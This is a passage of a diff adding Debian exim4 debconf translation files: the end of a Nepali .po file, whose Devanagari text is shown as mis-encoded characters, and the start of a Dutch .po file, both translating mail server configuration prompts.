लागि पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨à¥‡à¤› । " + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "निरà¥à¤—ामन सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ आई पी ठेगाना वा होसà¥à¤Ÿà¤¨à¤¾à¤®:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"कृपया पतà¥à¤° सरà¥à¤à¤°à¤•à¥‹ आई पी ठेगाना वा होसà¥à¤Ÿ नाम पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ता कि यो पà¥à¤°à¤£à¤¾à¤²à¥€ " +"निरà¥à¤—ामन सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ रूपमा पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨à¥‡à¤› । यदि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤²à¥‡ TCP/25 बाट विà¤à¤¿à¤¨à¥à¤¨ पोरà¥à¤Ÿà¤®à¤¾ " +"तपाईà¤à¤•à¥‹ पतà¥à¤° मातà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरà¥à¤¦à¤› à¤à¤¨à¥‡, दà¥à¤ˆà¤µà¤Ÿà¤¾ अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®à¤¹à¤°à¥‚ र पोरà¥à¤Ÿ नमà¥à¤¬à¤° (जसà¥à¤¤à¥ˆ smarthost." +"example::587 वा 192.168.254.254::2525) थपà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । IPv6 ठेगानाहरूमा अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®à¤¹à¤°à¥‚ " +"डबल हà¥à¤¨ आवशà¥à¤¯à¤• छ ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"यदि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤²à¤¾à¤ˆ आधिकारिकताको आवशà¥à¤¯à¤• परेमा, SMTP आधिकारिकता सेटअप गरà¥à¤¨à¥‡ बारे " +"दà¥à¤°à¤·à¥à¤Ÿà¤¬à¥à¤¯à¤•à¥‹ लागि /usr/share/doc/exim4-base/README.Debian.gz सनà¥à¤¦à¤°à¥à¤ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "मूल र पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤° पतà¥à¤° पà¥à¤°à¤¾à¤ªà¤•:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°', 'मूल', र अनà¥à¤¯ पà¥à¤°à¤£à¤¾à¤²à¥€ खाताहरू वासà¥à¤¤à¤µà¤¿à¤• पà¥à¤°à¤£à¤¾à¤²à¥€ पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤•à¥‹ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ " +"खातामा पà¥à¤¨: निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ हà¥à¤¨ आवशà¥à¤¯à¤• हà¥à¤¨à¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"यदि यो मान खाली राखियो à¤à¤¨à¥‡, सो पतà¥à¤° var/mail/mail मा बचत गरिनेछ जà¥à¤¨ सिफारिस " +"गरिà¤à¤•à¥‹ छैन । " + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"याद गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤•à¥‹ पतà¥à¤° यताउती पठाइनॠà¤à¤¨à¥à¤¦à¤¾, यसले निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ गरेको पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤¾ " +"पढिनà¥à¤ªà¤°à¥à¤›, तà¥à¤¯à¤¸à¥ˆà¤²à¥‡ यहाठसूचीकृत à¤à¤à¤•à¥‹ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ मधà¥à¤¯à¥‡ (कमà¥à¤¤à¤¿à¤®à¤¾ à¤à¤•à¤œà¤¨à¤¾) ले यो मेशिनमा " +"तिनीहरूको पतà¥à¤° पà¥à¤¨: निरà¥à¤¦à¥‡à¤¶à¤¨ गरà¥à¤¨à¥‡ छैन । सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£à¤²à¤¾à¤ˆ जोर गरà¥à¤¨ 'वासà¥à¤¤à¤µà¤¿à¤•' उपसरà¥à¤— " +"पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨ सकिनà¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "बहà¥à¤à¤µà¤¿à¤§ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ नामहरू खाली ठाउà¤à¤¦à¥à¤µà¤¾à¤°à¤¾ विà¤à¤¾à¤œà¤¿à¤¤ हà¥à¤¨ आवशà¥à¤¯à¤• छ ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "SMTP जडानहरà¥à¤•à¥‹ आगमनको लागि सà¥à¤¨à¥à¤¨ IP-ठेगानाहरू:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"कृपया आई पी ठेगानाको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विà¤à¤¾à¤œà¤¿à¤¤ सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । à¤à¤•à¥à¤œà¤¿à¤® SMTP शà¥à¤°à¥‹à¤¤à¤¾ " +"डेयमनले यहाठसूचिकृत सबै आई पी ठेगानाहरूमा सà¥à¤¨à¥à¤¨à¥‡à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"à¤à¤‰à¤Ÿà¤¾ खाली मानले सबै उपलबà¥à¤§ सञà¥à¤œà¤¾à¤² अनà¥à¤¤à¤°à¤®à¥‹à¤¹à¤¡à¤¾à¤¹à¤°à¥‚मा जडानहरूका लागि à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤¨à¥à¤¨ सकà¥à¤¨à¥‡ " +"बनाउà¤à¤¨ सकà¥à¤› ।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ सेवाहरू जसà¥à¤¤à¥ˆ फेचमेल वा सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤®à¤¾ बोलिरहेको तपाईà¤à¤•à¥‹ (MUA) " +"इमेल कारà¥à¤¯à¤•à¥à¤°à¤®à¤¬à¤¾à¤Ÿ (र अनà¥à¤¯ होसà¥à¤Ÿà¤¹à¤°à¥‚बाट होइन) मातà¥à¤° पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤· रूपमा इमेल पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¦à¥ˆà¤¨ à¤à¤¨à¥‡, " +"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ à¤à¤•à¥à¤œà¤¿à¤®à¤®à¤¾ बाहà¥à¤¯ जडानहरू निषेध गरà¥à¤¨ आवशà¥à¤¯à¤• छ । यसलाई यहाठ१२à¥.०.०.१ पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरेर " +"पूरा गरà¥à¤¨ सकिनà¥à¤› । यसले सारà¥à¤µà¤œà¤¨à¤¿à¤• सञà¥à¤œà¤¾à¤² इनà¥à¤Ÿà¤°à¤«à¥‡à¤¸à¤¹à¤°à¥‚मा सà¥à¤¨à¥à¤¨à¤²à¤¾à¤ˆ अकà¥à¤·à¤® गरिदिनà¥à¤› ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "डी à¤à¤¨ à¤à¤¸-कà¥à¤µà¥‡à¤°à¥€à¤¹à¤°à¥‚को मिनिमल (डायल-अन-डिमानà¥à¤¡) को सङà¥à¤–à¥à¤¯à¤¾ राखà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"सञà¥à¤šà¤¾à¤²à¤¨à¤•à¥‹ सामानà¥à¤¯ मोडमा à¤à¤•à¥à¤œà¤¿à¤®à¤²à¥‡ सà¥à¤°à¥à¤†à¤¤à¤®à¤¾, र सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚ पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¦à¤¾ र हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤¦à¤¾à¤®à¤¾ " +"डी à¤à¤¨ à¤à¤¸ लाई देखाउà¤à¤› । यो लगइन उदà¥à¤¦à¥‡à¤¶à¥à¤¯à¤¹à¤°à¥‚को लागि हो र कनà¥à¤«à¤¿à¤—रेसनमा हारà¥à¤¡-कोडेड " +"मानहरूको सङà¥à¤–à¥à¤¯à¤¾ तल राखà¥à¤¨ अनà¥à¤®à¤¤à¤¿ दिनà¥à¤› ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤¸à¤à¤— सबै समयमा डि à¤à¤¨ à¤à¤¸ पूरा सेवा पà¥à¤¨: समाधानकरà¥à¤¤à¤¾ उपलबà¥à¤§ छैन à¤à¤¨à¥‡ (जसà¥à¤¤à¥ˆ " +"यदि यसको इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ पहà¥à¤à¤š डायल-अन-डिमानà¥à¤¡ पà¥à¤°à¤¯à¥‹à¤— गरिरहेको डायल-अप लाइन हो à¤à¤¨à¥‡) यो संग " +"नचाहेको परिणाम हà¥à¤¨à¥à¤ªà¤°à¥à¤› । उदाहरणको लागि, à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤°à¥ गरेर वा (कà¥à¤¨à¥ˆ सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚ पनि पà¥à¤°à¤¤à¤¿à¤•à¥à¤·à¤¾ " +"नगरिरहेको) लाम सञà¥à¤šà¤¾à¤²à¤¨ गरेर महंगो dial-up-event टà¥à¤°à¤¿à¤—र गरà¥à¤¨ सकिदैन ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ डायल-अन-डिमानà¥à¤¡ पà¥à¤°à¤¯à¥‹à¤— गरिरहेको छ à¤à¤¨à¥‡ यो विकलà¥à¤ª चयन हà¥à¤¨à¥‡à¤› । यदि यो " +"सà¤à¤— इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ पहà¥à¤à¤š सधै खà¥à¤²à¥à¤²à¤¾ हà¥à¤¨à¥à¤› à¤à¤¨à¥‡, यो विकलà¥à¤ª अकà¥à¤·à¤® गरिनेछ ।" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "पतà¥à¤° सरà¥à¤à¤° कनà¥à¤«à¤¿à¤—रेसन" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "सानो फाइलहरà¥à¤®à¤¾ कनà¥à¤«à¤¿à¤—रेसन विà¤à¤¾à¤œà¤¨ गरà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"डेवियन à¤à¤•à¥à¤œà¤¿à¤®à¥ª पà¥à¤¯à¤¾à¤•à¥‡à¤œà¤¹à¤°à¥‚ले ले या त 'अविà¤à¤¾à¤œà¤¿à¤¤ कनà¥à¤«à¤¿à¤—रेसन', वा à¤à¤•à¤² monolithic फाइल (/" +"etc/exim4/exim4.conf.template) वा 'विà¤à¤¾à¤œà¤¿à¤¤ कनà¥à¤«à¤¿à¤—रेसन' पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨ सकà¥à¤›, जहाठ" +"वासà¥à¤¤à¤µà¤¿à¤• à¤à¤•à¥à¤œà¤¿à¤® कनà¥à¤«à¤¿à¤—रेसन फाइलहरू /etc/exim4/conf.d मा ५० वटा सानो फाइलहरू मिलेर " +"निरà¥à¤®à¤¾à¤£ à¤à¤à¤•à¥‹ हà¥à¤¨à¥à¤› ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"अविà¤à¤¾à¤œà¤¿à¤¤ कनà¥à¤«à¤¿à¤—रेसन ठूलो परिमारà¥à¤œà¤¨à¤¹à¤°à¥à¤•à¥‹ लागि अति उतà¥à¤¤à¤® छ र सामनà¥à¤¯ रूपमा धेरै सà¥à¤¥à¤¿à¤° पनि " +"छ, जबकि विà¤à¤¾à¤œà¤¿à¤¤ कनà¥à¤«à¤¿à¤—रेसनले सानो परिमारà¥à¤œà¤¨à¤¹à¤°à¥ बनाउन सà¥à¤µà¤¿à¤§à¤¾à¤œà¤¨à¤• बाटोको पà¥à¤°à¤¸à¥à¤¤à¤¾à¤µ गरà¥à¤¦à¤› " +"तर धेरै मà¥à¤²à¤¾à¤¯à¤® हà¥à¤¨à¥‡ à¤à¤à¤•à¥‹à¤²à¥‡ ठूलो रà¥à¤ªà¤®à¤¾ परिमारà¥à¤œà¤¨ हà¥à¤à¤¦à¤¾ विचà¥à¤›à¥‡à¤¦à¤¨ हà¥à¤¨ सकà¥à¤› ।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"विà¤à¤¾à¤œà¤¿à¤¤ र अविà¤à¤¾à¤œà¤¿à¤¤ कनà¥à¤«à¤¿à¤—रेसनको बारे धेरै विसà¥à¤¤à¥ƒà¤¤ छलफल /usr/share/doc/exim4-base/" +"README.Debian.gz मा फेला पारà¥à¤¨ सकिनà¥à¤› । " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "बाहिर जाने पतà¥à¤°à¤®à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° नाम लà¥à¤•à¤¾à¤‰à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"निरà¥à¤—ामन पतà¥à¤°à¤•à¥‹ हेडरहरू विà¤à¤¿à¤¨à¥à¤¨ पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤¾ सिरà¥à¤œà¤¨à¤¾ गरेर देखाउन पà¥à¤¨: लेखन गरà¥à¤¨ सकिनà¥à¤› । यदि " +"यो विकलà¥à¤ª रोजियो à¤à¤¨à¥‡, '${mailname}', 'localhost' र '${dc_other_hostnames}' " +"बाटमा, लाई-जवाफ, पà¥à¤°à¥‡à¤·à¤• र फरà¥à¤•à¤¨à¥‡-बाटो पà¥à¤¨: लेखन गरिनà¥à¤› ।" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail मा पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा ढाà¤à¤šà¤¾ " + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "गृह डाइरेकà¥à¤Ÿà¤°à¥€à¤®à¤¾ पतà¥à¤° डाइरेकà¥à¤Ÿà¤°à¥€ ढाà¤à¤šà¤¾" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤°à¤•à¥‹ लागि हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ विधि:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"à¤à¤•à¥à¤œà¤¿à¤® विà¤à¤¿à¤¨à¥à¤¨ ढाà¤à¤šà¤¾à¤¹à¤°à¥‚मा सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ रूपमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरिà¤à¤•à¥‹ इमेल à¤à¤£à¥à¤¡à¤¾à¤°à¤£ गरà¥à¤¨ सकà¥à¤·à¤® à¤à¤¯à¥‹ ।" +"पà¥à¤°à¤¾à¤¯à¤œà¤¸à¥‹ धेरै पà¥à¤°à¤¯à¥‹à¤— गरिà¤à¤•à¥‹ ढाà¤à¤šà¤¾à¤¹à¤°à¥‚ पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा र पतà¥à¤° डाइरेकà¥à¤Ÿà¤°à¥€ हो । पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षाले /var/" +"mail/ मा à¤à¤£à¥à¤¡à¤¾à¤°à¤£ गरिà¤à¤•à¥‹ पूरै पतà¥à¤° फोलà¥à¤¡à¤°à¤•à¥‹ लागि à¤à¤•à¤² फाइल पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¦à¤› । पतà¥à¤° " +"डाइरेकटरी ढाà¤à¤šà¤¾à¤¦à¥à¤µà¤¾à¤°à¤¾ हरेक à¤à¤•à¤² सनà¥à¤¦à¥‡à¤¶ ~/Maildir/ मा à¤à¤¿à¤¨à¥à¤¨à¥ˆ फाइलमा à¤à¤£à¥à¤¡à¤¾à¤°à¤£ गरिà¤à¤•à¥‹ हà¥à¤¨à¥à¤› ।" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"कृपया याद गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ कि डेवियनमा धेरै पतà¥à¤° उपकरणहरूले तिनीहरूको पूरà¥à¤µà¤¨à¤¿à¤°à¥à¤§à¤¾à¤°à¤£à¤®à¤¾ पतà¥à¤°à¤®à¤žà¥à¤œà¥‚षा हà¥à¤¨ " +"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ विधिको अपेकà¥à¤·à¤¾ गरेको हà¥à¤¨à¥à¤› ।" diff --git a/debian/po/nl.po b/debian/po/nl.po new file mode 100644 index 0000000..8f5b3e7 --- /dev/null +++ b/debian/po/nl.po @@ -0,0 +1,687 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-10-25 13:54+0100\n" +"Last-Translator: Bart Cornelis <cobaco@skolelinux.no>\n" +"Language-Team: debian-l10n-dutch <debian-l10n-dutch@lists.debian.org>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Dutch\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Niet afgeleverde berichten uit de spoolmap verwijderen?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Er zijn nog niet-afgeleverde berichten in de exim spoolmap (/var/spool/exim4/" +"input). Verwijderen van Exim zal tot gevolg hebben dat deze onafgeleverd " +"blijven totdat Exim opnieuw geïnstalleerd is." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Tenzij u voor deze optie kiest wordt de spoolmap behouden. Hierdoor zullen " +"berichten in de wachtrij later, na herinstallatie van Exim, alsnog " +"afgeleverd worden." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Niet dit pakket maar exim4-config herconfigureren" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"De configuratie van Exim4 is afgesplitst naar een het pakket exim4-config . " +"Als u Exim4 wilt herconfigureren dient u dus 'dpkg-reconfigure exim4-config' " +"uit te voeren." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internet-site; e-mail wordt direct via SMTP verzonden en ontvangen" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "e-mail verzenden via smarthost; e-mail ontvangst via SMTP of fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "e-mail verzenden via smarthost; geen lokale e-mail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "alleen lokale e-mail; als u niet op een netwerk bent aangesloten" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "nu niet configureren" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Algemeen type e-mailconfiguratie:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Welke configuratietype voor de e-mailserver komt het best overeen met uw " +"behoeften?" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Systemen met dynamische IP-adressen (inclusief inbelsystemen), dienen " +"normaal ingesteld te worden om uitgaande e-mail naar een andere computer " +"(een zogenaamde smarthost) te sturen; dit omdat veel ontvangende systemen, " +"om anti-spam redenen, geen inkomende e-mail van dynamische IP-adressen " +"accepteren." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Een systeem met een dynamisch IP-adres kan z'n eigen e-mail ontvangen, maar " +"ook kan de lokale aflevering (met uitzondering van e-mail voor root en " +"postmaster) worden uitgeschakeld." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Weet u zeker dat u het e-mailsysteem niet wilt configureren?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Zolang uw e-mailsysteem niet ingesteld is, is het in een niet-werkende staat " +"en kan het niet gebruikt worden. Op een later tijdstip configureren kan of " +"handmatig, of via het commando 'dpkg-reconfigure exim4-config' uit te voeren." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "E-mailnaam voor het systeem:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"De 'e-mailnaam' is de domeinnaam die gebruikt wordt om e-mailadressen zonder " +"een domeinnaam te kwalificeren." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Deze naam zal ook door andere programma's gebruikt worden, en dient dus een " +"volledige gekwalificeerde domeinnaam (FQDN) te zijn." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Als bijvoorbeeld een e-mailadres op de lokale computer foo@example.org is, " +"dan is de correcte waarde voor deze optie example.org ." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Als herschrijven geactiveerd is zal deze naam niet verschijnen in de 'From'-" +"regels van uitgaande berichten." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Andere bestemmingen waarvoor e-mail 